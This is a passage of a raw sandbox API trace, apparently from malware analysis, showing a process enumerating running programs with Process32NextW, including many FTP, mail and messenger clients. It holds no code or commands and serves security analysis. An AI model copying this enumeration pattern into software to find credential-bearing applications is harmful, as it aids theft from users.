| out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.096] lstrlenW (lpString="svchost.exe") returned 11 [0067.096] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.096] lstrlenW (lpString="svchost.exe") returned 11 [0067.096] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.097] lstrlenW (lpString="svchost.exe") returned 11 [0067.097] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.097] lstrlenW (lpString="svchost.exe") returned 11 [0067.097] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.099] lstrlenW (lpString="svchost.exe") returned 11 [0067.099] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.099] lstrlenW (lpString="svchost.exe") returned 11 [0067.099] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.100] lstrlenW (lpString="svchost.exe") returned 11 [0067.100] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0067.100] lstrlenW (lpString="spoolsv.exe") returned 11 [0067.100] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.101] lstrlenW (lpString="svchost.exe") returned 11 [0067.101] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0067.101] lstrlenW (lpString="audiodg.exe") returned 11 [0067.101] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0067.102] lstrlenW (lpString="sihost.exe") returned 10 [0067.102] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.102] lstrlenW (lpString="svchost.exe") returned 11 [0067.103] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0067.103] lstrlenW (lpString="taskhostw.exe") returned 13 [0067.103] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0067.104] lstrlenW (lpString="explorer.exe") returned 12 [0067.104] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0067.104] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0067.104] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0067.105] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0067.105] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0067.105] lstrlenW (lpString="Memory Compression") returned 18 [0067.105] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0067.106] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0067.106] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0067.106] lstrlenW (lpString="SearchUI.exe") returned 12 [0067.106] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0067.107] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0067.107] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0067.107] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0067.107] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="furholdtopics.exe")) returned 1 [0067.108] lstrlenW (lpString="furholdtopics.exe") returned 17 [0067.108] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sensors conjunction petition.exe")) returned 1 [0067.108] lstrlenW (lpString="sensors conjunction petition.exe") returned 32 [0067.108] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="until_commit.exe")) returned 1 [0067.109] lstrlenW (lpString="until_commit.exe") returned 16 [0067.109] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cablesdiscussed.exe")) returned 1 [0067.109] lstrlenW (lpString="cablesdiscussed.exe") returned 19 [0067.109] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="unavailable cricket postcard.exe")) returned 1 [0067.110] lstrlenW (lpString="unavailable cricket postcard.exe") returned 32 [0067.110] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lexmark.exe")) returned 1 [0067.110] lstrlenW (lpString="lexmark.exe") returned 11 [0067.110] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cj_antenna_alone.exe")) returned 1 [0067.111] lstrlenW (lpString="cj_antenna_alone.exe") returned 20 [0067.111] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dryer-pocket.exe")) returned 1 [0067.111] lstrlenW (lpString="dryer-pocket.exe") returned 16 [0067.112] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="delete disable changing.exe")) returned 1 [0067.112] lstrlenW (lpString="delete disable changing.exe") returned 27 [0067.112] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sitemap instructors tide.exe")) returned 1 [0067.113] lstrlenW (lpString="sitemap instructors tide.exe") returned 28 [0067.113] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="underwear.exe")) returned 1 [0067.113] lstrlenW (lpString="underwear.exe") returned 13 [0067.113] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear-hearings.exe")) returned 1 [0067.114] lstrlenW (lpString="dear-hearings.exe") returned 17 [0067.114] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0067.115] lstrlenW (lpString="dllhost.exe") returned 11 [0067.115] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="risks_lows_nickel.exe")) returned 1 [0067.115] lstrlenW (lpString="risks_lows_nickel.exe") returned 21 [0067.115] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="physiologyconfirmedthursday.exe")) returned 1 [0067.116] lstrlenW (lpString="physiologyconfirmedthursday.exe") returned 31 [0067.116] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="testimonials counsel.exe")) returned 1 [0067.116] lstrlenW (lpString="testimonials counsel.exe") returned 24 [0067.116] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="retrievedsocietyuniv.exe")) returned 1 [0067.117] lstrlenW (lpString="retrievedsocietyuniv.exe") returned 24 [0067.117] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss alternatives plots.exe")) returned 1 [0067.117] lstrlenW (lpString="boss alternatives plots.exe") returned 27 [0067.118] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="towers world.exe")) returned 1 [0067.118] lstrlenW (lpString="towers world.exe") returned 16 [0067.118] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coaching indian.exe")) returned 1 [0067.119] lstrlenW (lpString="coaching indian.exe") returned 19 [0067.119] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="goal assumed.exe")) returned 1 [0067.119] lstrlenW (lpString="goal assumed.exe") returned 16 [0067.120] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0067.120] lstrlenW (lpString="3dftp.exe") returned 9 [0067.120] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0067.122] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0067.123] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0067.124] lstrlenW (lpString="alftp.exe") returned 9 [0067.124] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0067.125] lstrlenW (lpString="barca.exe") returned 9 [0067.125] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0067.125] lstrlenW (lpString="bitkinex.exe") returned 12 [0067.125] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0067.126] lstrlenW (lpString="coreftp.exe") returned 11 [0067.126] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0067.127] lstrlenW (lpString="far.exe") returned 7 [0067.127] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0067.128] lstrlenW (lpString="filezilla.exe") returned 13 [0067.128] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0067.841] lstrlenW (lpString="flashfxp.exe") returned 12 [0067.841] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0067.842] lstrlenW (lpString="fling.exe") returned 9 [0067.842] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0067.843] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0067.843] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0067.844] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0067.844] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0067.845] lstrlenW (lpString="icq.exe") returned 7 [0067.845] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0067.846] lstrlenW (lpString="leechftp.exe") returned 12 [0067.846] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0067.846] lstrlenW (lpString="ncftp.exe") returned 9 [0067.847] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0067.847] lstrlenW (lpString="notepad.exe") returned 11 [0067.847] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0067.848] lstrlenW (lpString="operamail.exe") returned 13 [0067.848] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0067.849] lstrlenW (lpString="pidgin.exe") returned 10 [0067.849] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0067.850] lstrlenW (lpString="scriptftp.exe") returned 13 [0067.850] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0067.851] lstrlenW (lpString="skype.exe") returned 9 [0067.851] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0067.852] lstrlenW (lpString="smartftp.exe") returned 12 [0067.852] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0067.852] lstrlenW (lpString="thunderbird.exe") returned 15 [0067.853] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0067.853] lstrlenW (lpString="totalcmd.exe") returned 12 [0067.853] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0067.854] lstrlenW (lpString="trillian.exe") returned 12 [0067.854] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0067.855] lstrlenW (lpString="webdrive.exe") returned 12 [0067.855] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0067.856] lstrlenW (lpString="whatsapp.exe") returned 12 [0067.856] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0067.857] lstrlenW (lpString="winscp.exe") returned 10 [0067.857] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0067.857] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0067.858] Process32NextW (in: hSnapshot=0x348, 